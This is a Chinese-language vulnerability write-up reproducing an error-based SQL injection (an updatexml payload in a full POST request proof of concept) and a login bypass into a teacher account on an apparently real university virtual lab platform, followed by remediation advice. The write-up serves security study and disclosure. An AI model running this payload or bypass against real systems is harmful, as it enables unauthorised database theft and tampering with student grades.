漏洞实战|高校虚拟实验平台报错型 SQL 注入漏洞复现

前言

SQL 注入是 Web 安全中经典高危漏洞,很多业务系统因未对用户输入做严格过滤,直接拼接 SQL 语句执行查询,从而产生注入风险。本次测试目标为数字化柔性制造产线云平台(高校虚拟实验平台),平台实验列表搜索功能存在报错型 SQL 注入,同时登录模块存在异常身份绕过现象,可直接进入教师账号,查看教师信息、对学生实验成绩进行评分。本文完整记录漏洞发现与复现全过程。

漏洞 / 测试基础信息

项目 详情
漏洞类型 报错型 SQL 注入(高危)
资产环境 互联网公网高校虚拟实验平台
测试入口 实验列表搜索框;专家评审登录入口
漏洞现象 搜索框输入单引号触发 MySQL 数据库报错,可使用updatexml报错注入提取数据库信息;登录入口异常直接登录教师账号,可查看其他老师信息、给学生实验成绩评分
漏洞原理 后端直接将用户可控的搜索参数拼接进 SQL 查询语句,未做输入过滤与预编译处理,恶意 SQL 片段被数据库执行,返回报错信息泄露数据库内容

漏洞思路梳理

  1. 业务场景:高校虚拟实验云平台,包含登录、教师评审、实验列表搜索、学生成绩评分等功能。
  2. 初步现象:访问专家评审登录位置,无需正常登录逻辑直接进入王老师账号,可以查看其他教师信息,还可以对其他同学实验成绩进行评分。
  3. 注入猜想:找到实验列表搜索功能,搜索框接收用户输入参数,参数大概率直接拼接 SQL。
  4. 验证思路:输入单引号'观察页面是否抛出数据库 SQL 语法报错;双单引号测试是否闭合;使用updatexml报错注入 Payload 尝试回显数据库信息。
  5. 结果:页面返回 MySQL 报错,成功利用报错注入获取数据库用户信息,确认 SQL 注入漏洞。

实操 / 测试流程

测试前置:访问数字化柔性制造产线云平台站点。

进入虚拟实验平台,点击专家评审进行登录,直接登录到王老师的账号,这里可以查看其他老师信息,可以对其他同学的实验成绩进行评分。

找到实验列表页面,在搜索处输入单引号'。

页面直接抛出 MySQL 数据库语法错误,返回 SQLSTATE 报错堆栈,确认存在 SQL 语法漏洞。

在搜索框输入两个单引号'',页面回显正常,判断单引号为 SQL 语句的闭合符号。

打开 Burp Suite 抓包,抓取搜索提交的 POST 请求。

使用报错注入 Payload:name=')and+updatexml(1,concat(0x7e,user(),0x7e),1)=('1构造 POST 请求数据包。

将构造好的数据包发送服务端,页面返回 XPATH 报错,回显数据库用户信息,成功爆出数据库相关内容,漏洞验证完成。

完整请求 POC:

复制代码
POST /index/alllab/index.html HTTP/1.1
Host: net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer:http://xxx/index/allab/index.html?name=%E2%80%99
Cookie: PHPSESSID=q6jt168dgg0v7fgl0ml2tto0e5; uid=836; token=76655cf0-2cc1-4625-9f56-9b4ae2428b82; think_var-zh-cn
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 192.168.188.123
Priority: u=0,i
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

name=')and+updatexml(1,concat(0x7e,user(),0x7e),1)=('1

漏洞总结

核心问题

  1. SQL 注入问题 :实验列表搜索功能,直接把前端传入的name搜索参数拼接进 SQL 查询语句,没有使用预编译,没有过滤特殊符号,攻击者可以构造恶意 SQL 语句,利用报错注入读取数据库数据。
  2. 身份认证缺陷:专家评审登录模块认证逻辑异常,未校验账号密码,直接进入教师权限账号,越权查看教师信息、操作学生实验成绩。

漏洞危害

  1. 攻击者利用 SQL 注入可读取全部数据库数据,包含账号密码、学生实验信息、教师信息等敏感数据,高危情况下可脱库。
  2. 身份绕过后,普通访问者可直接获取教师权限,随意修改学生实验评分,破坏教学业务数据。
  3. 高校教学平台数据泄露,会造成师生个人信息泄露,带来隐私、合规风险。

修复建议

  1. SQL 注入修复(优先)
    • 全部 SQL 查询使用预编译 + 参数化查询,杜绝直接拼接用户输入到 SQL 语句。
    • 对前端输入做白名单过滤,严格限制输入字符;禁止直接把用户输入当作 SQL 片段执行。
    • 关闭生产环境详细数据库报错输出,不要把 SQL 堆栈、数据库错误直接返回给前端页面。
  2. 身份认证修复
    • 修复专家评审登录逻辑,登录必须校验账号、密码凭证,禁止无凭证直接赋予教师会话权限。
    • 后端接口增加权限校验,教师评分接口必须校验当前登录用户身份,防止越权修改学生成绩。
  3. 安全加固:部署 WAF,对 SQL 注入特征做拦截;定期做安全渗透测试;数据库账号做最小权限分配。
  4. 日志审计:记录登录行为、搜索请求、成绩修改操作,异常行为可溯源排查。

测试心得

  1. SQL 注入基础测试技巧:搜索框、查询接口优先输入单引号',观察页面是否抛出数据库报错,快速判断是否存在注入点。
  2. 报错注入适用场景:页面会返回数据库错误堆栈,无法直接回显查询结果 ,常用updatexml、extractvalue函数。
  3. 高校业务系统经常同时出现注入 + 越权组合漏洞,测试时不要只盯着单一漏洞,需要联动观察业务权限。
  4. 开发切记:永远不要信任前端传入的任何用户可控参数。

安全声明

⚠️本文内容仅为网络安全学习、渗透测试技术研究交流。严禁在未获得书面授权情况下对互联网资产进行扫描、漏洞测试、注入攻击等行为,未经授权的测试属于违法违规行为。所有测试操作,务必在自己拥有完整授权的测试环境开展。

相关推荐
sun153690275721 小时前
露天矿边坡滑坡怎么预警?QY-19GNSS 自动化地表位移监测系统介绍
运维·安全·自动化
长不大的杨瑞杰1 小时前
给 OpenCode v2 接入大模型:Provider、模型选择与 API Key 安全配置实战
人工智能·安全·ai·语言模型
dog2501 小时前
从 Kelly-NUM 到时延感知 AIMD 拥塞控制算法
网络
网络小江1 小时前
组网第27课:ARP 的能与不能——免费 ARP、代理 ARP 与 ARP 欺骗
服务器·网络·网络安全·负载均衡·免费arp
FY@-@2 小时前
VMware ESXi 7.0 实验全记录:嵌套安装 → 网络配置 → 存储 → Windows 10 虚拟机部署
运维·网络·windows·云计算
ynchyong2 小时前
IPv4 时代的地址冲突检测
网络·ipv4·冲突检测·免费arp·无敌apr·announcemnet
ONLYOFFICE2 小时前
ONLYOFFICE 10.0:深入了解最新的 40 项安全修复
网络·安全
上海云盾-高防顾问2 小时前
边缘验签是什么
运维·服务器·网络
刘婉晴2 小时前
【K8S安全】4. 节点到云
安全·容器·kubernetes